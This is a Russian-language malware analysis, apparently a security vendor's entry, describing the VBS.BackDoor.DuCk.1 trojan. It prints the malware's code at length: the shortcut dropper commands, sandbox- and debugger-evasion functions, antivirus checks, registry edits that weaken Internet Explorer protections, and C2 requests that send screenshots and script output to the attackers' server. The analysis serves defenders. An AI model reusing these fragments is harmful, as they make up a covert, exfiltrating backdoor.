Троянец-бэкдор, способный выполнять поступающие от злоумышленников команды и передавать на удаленный сервер сделанные на инфицированном компьютере снимки экрана. Написан на языке Visual Basic Script и распространяется в виде файла ярлыка с расширением .lnk, в содержимое которого записан запакованный VBS-сценарий. При запуске ярлыка происходит вызов функции findstr для определения сигнатуры начала скрипта и извлечения его в отдельный файл с последующим запуском, т. е. выполняются следующие действия:
copy *.doc.lnk %tmp%
%systemdrive%
cd %tmp%
dir /b /s *.doc.lnk > o
echo set /p f=^.bat
echo type "%f%"^>z9>>.bat
echo findstr /R /C:"#@~" z9^>1.vbe^&cscript 1.vbe^&del *.lnk /S /Q /Y >>.bat
.bat
Для определения адреса управляющего сервера используется следующий алгоритм. В начале VBS-сценария предусмотрено три ссылки:
YouTubeLinks(0) = "https://dl.dropboxusercontent.com/s/v**********smun/index.html"
YouTubeLinks(1) = "http://www.youtube.com/watch?v=*******0b"
YouTubeLinks(2) = "https://www.youtube.com/watch?v=*******D0b"
Троянец отправляет на данные ресурсы GET-запрос и в поступившем ответе выполняет поиск с заданным вирусописателями регулярным выражением:
our (.*)th psy anniversary
В ответ сервер возвращает число. Оно делится на 31 337 — итог этой математической операции представляет собой другое число, после перевода в шестнадцатеричную форму представляющее собой значение IP-адреса управляющего сервера, к которому добавляется строка « /wp-admin-content/». Для проверки его работоспособности троянец отправляет по указанному адресу GET-запрос вида "ХХХ.ХХХ.ХХХ.ХХХ/wp-admin-content/Status2.php" и проверяет в ответе наличие строки "ОКОКОК".
Троянец обладает специальным механизмом проверки наличия на атакуемом компьютере виртуальной среды, причем проверка выполняется в три этапа:
Function isVmDrivers()
Dim Drivers(2)
Drivers(0) = "virtualbox"
Drivers(1) = "parallels"
Drivers(2) = "vmware"
strText = shell_exec("driverquery")
result = False
For Each Driver in Drivers
inString = inStr(strText, Driver)
If not inString = 0 Then
result = Driver
End If
Next
isVmDrivers = result
End Function
Function isVmProduct()
Dim Product
Dim badProducts(1)
badProducts(0) = "parallels virtual platform"
badProducts(1) = "virtualbox"
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}
!\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_BaseBoard")
For Each objItem in colItems
Product = LCase(objItem.Product)
Next
result = False
For Each badProduct in badProducts
inString = inStr(Product, badProduct)
If not inString = 0 Then
result = badProduct
End If
Next
isVmProduct = result
End Function
Function isVmMAC()
Dim macs(29)
macs(0) = "00-01-5D"
macs(1) = "00-03-BA"
macs(2) = "00-07-82"
macs(3) = "00-0F-4B"
macs(4) = "00-10-4F"
macs(5) = "00-10-E0"
macs(6) = "00-14-4F"
macs(7) = "00-20-F2"
macs(8) = "00-21-28"
macs(9) = "00-21-F6"
macs(10) = "00-50-56"
macs(11) = "00-0C-29"
macs(12) = "00-05-69"
macs(13) = "00-03-FF"
macs(14) = "00-1C-42"
macs(15) = "00-16-3E"
macs(16) = "08-00-27"
macs(17) = "00-1C-14"
macs(18) = "08-00-20"
macs(19) = "00-0D-3A"
macs(20) = "00-12-5A"
macs(21) = "00-15-5D"
macs(22) = "00-17-FA"
macs(23) = "00-1D-D8"
macs(24) = "00-22-48"
macs(25) = "00-25-AE"
macs(26) = "00-50-C2"
macs(27) = "00-50-F2"
macs(28) = "44-45-53"
macs(29) = "7C-ED-8D"
strText = shell_exec("ipconfig /all")
result = False
For Each mac in macs
inString = inStr( strText, LCase(mac) )
If not inString = 0 Then
result = mac
End If
Next
isVmMAC = result
End Function
Также осуществляется проверка работающих процессов различных приложений для мониторинга операционной системы:
Function checkRunningProcess()
Dim Processes(15)
Processes(0) = "taskmgr.exe"
Processes(1) = "procmon.exe"
Processes(2) = "procmon64.exe"
Processes(3) = "procexp.exe"
Processes(4) = "procexp64.exe"
Processes(5) = "ollydbg.exe"
Processes(6) = "wpe pro.exe"
Processes(7) = "wireshark.exe"
Processes(8) = "immunitydebugger.exe"
Processes(9) = "windbg.exe"
Processes(10) = "tcpview.exe"
Processes(11) = "tcpvcon.exe"
Processes(12) = "gmer.exe"
Processes(13) = "osam.exe"
Processes(14) = "startup.exe"
Processes(15) = "listdlls.exe"
strText = shell_exec("tasklist")
result = False
For Each Process in Processes
inString = inStr(strText, LCase(Process))
If not inString = 0 Then
result = Process
End If
Next
checkRunningProcess = result
End Function
Помимо прочего, бэкдор проверяет наличие на инфицированном компьютере нескольких антивирусных программ:
malBytesPath1 = s.ExpandEnvironmentStrings("%systemdrive%") &
"\Program Files\MalwareBytes' Anti-Malware"
malBytesPath2 = s.ExpandEnvironmentStrings("%systemdrive%") &
"\Program Files (x86)\MalwareBytes' Anti-Malware"
malBytesPath3 = s.ExpandEnvironmentStrings("%systemdrive%") &
"\Program Files\Malwarebytes Anti-Malware"
malBytesPath4 = s.ExpandEnvironmentStrings("%systemdrive%") &
"\Program Files (x86)\Malwarebytes Anti-Malware"
If fileSys.FolderExists(malBytesPath1) or fileSys.FolderExists(malBytesPath2)
or fileSys.FolderExists(malBytesPath3) or fileSys.FolderExists(malBytesPath4) Then
isMalwB = True
Else
isMalwB = False
End If
If fileSys.FileExists("1.vbe") Then
fileSys.CopyFile Wscript.ScriptFullName, path & "\.vbe"
fileSys.DeleteFile "1.vbe"
isKaspersky = inStr(LCase(installedAV), "kasper")
If isKaspersky = 0 Then
objShell.ShellExecute "cscript.exe", ".vbe", path, "open", 0
End If
WScript.Quit 1
End If
В директории текущего пользователя Windows троянец создает вложенную папку "%userprofile%\SystemFolder", которую использует в качестве рабочей. В целях маскировки троянец сохраняет в папке %temp% документ vtoroy_doc.doc, и демонстрирует его пользователю:
При этом можно предположить, что изначально злоумышленники планировали использовать в качестве «приманки» презентацию PowerPoint, поскольку в коде троянца реализован алгоритм завершения процесса данного приложения (если установлен соответствующий флаг), однако по каким-то причинам передумали.
Для создания снимков экрана бэкдор использует собственную библиотеку, при этом сами скриншоты сохраняются во временную папку в виде файлов "%temp%\~PF214C.tmp".
С помощью специального REG-файла троянец отключает расширения браузера Microsoft Internet Explorer:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Enable Browser Extensions"="no"
Если он запущен в операционной системе Windows Vista, то с помощью другого REG-файла отключает в Microsoft Internet Explorer режим protected:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"NoProtectedModeBanner"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"2500"=dword:00000003
Троянец обеспечивает собственную автозагрузку путем создания ярлыка "%Startup%\Microsoft Sync Services.lnk", который запускает скрипт h.vbe.
Если на инфицированной машине обнаружена среда виртуализации или процессы из списка проверки, троянец отправляет отчет об этом на управляющий сервер:
server & "/rit.php?cn=" & computerName & "&un=" & userName & "&an=" & notifyName &
"&id=" & Serial & "&r=" & reason
где reason - это строка, сформированная из результатов проверок:
reason = vmProd & ", " & vmDrivers & ", " & vmMac & ", " & runningProc
Дальнейшие запросы отправляет раз в минуту. С целью получения команд троянец отправляет на сервер следующий запрос:
server & "/c.php" & "?id=" & Serial
В ответ может быть получена команда "download>(.*)>(.*)" для скачивания на инфицированный компьютер другого вредоносного приложения:
Function downFile(args)
argsNum = uBound(args) + 1
writePath = args(1)
wrapper = "Byt34rr4y"
If argsNum = 2 Then
data = getPage(server & "/d.php?f=" & Base64EncodeString( args(0) ), 60, "get")
find = preg_match(wrapper & "(.*)" & wrapper, data)
If IsArray(find) Then
writer = writeByteArrayToFile(writePath, find(0))
End If
End If
End Function
Все остальные команды VBS.BackDoor.DuCk.1 передает командному интерпретатору CMD или PowerShell. Для загрузки ранее созданных снимков экрана на принадлежащий злоумышленникам сервер используется следующий запрос:
server & "/rs.php", 30, "i=" & Serial & "&d=" & encodeBase64(inByteArray) & "&t=" &
get_formatted_time() & "&l=" & Len(encodeBase64(inByteArray))
где inByteArray - данные файла скриншота.
Также данный бэкдор способен выполнить на зараженной машине Python-сценарий, результаты работы которого в зашифрованном виде передаются на принадлежащий злоумышленникам сервер:
server & "/rk.php", 30, "i=" & Serial & "&d=" & encodedData & "&t=" & get_formatted_time() &
"&l=" & Len(encodedData)
где encodedData - содержимое выходного файла, зашифрованное с использованием алгоритма base64.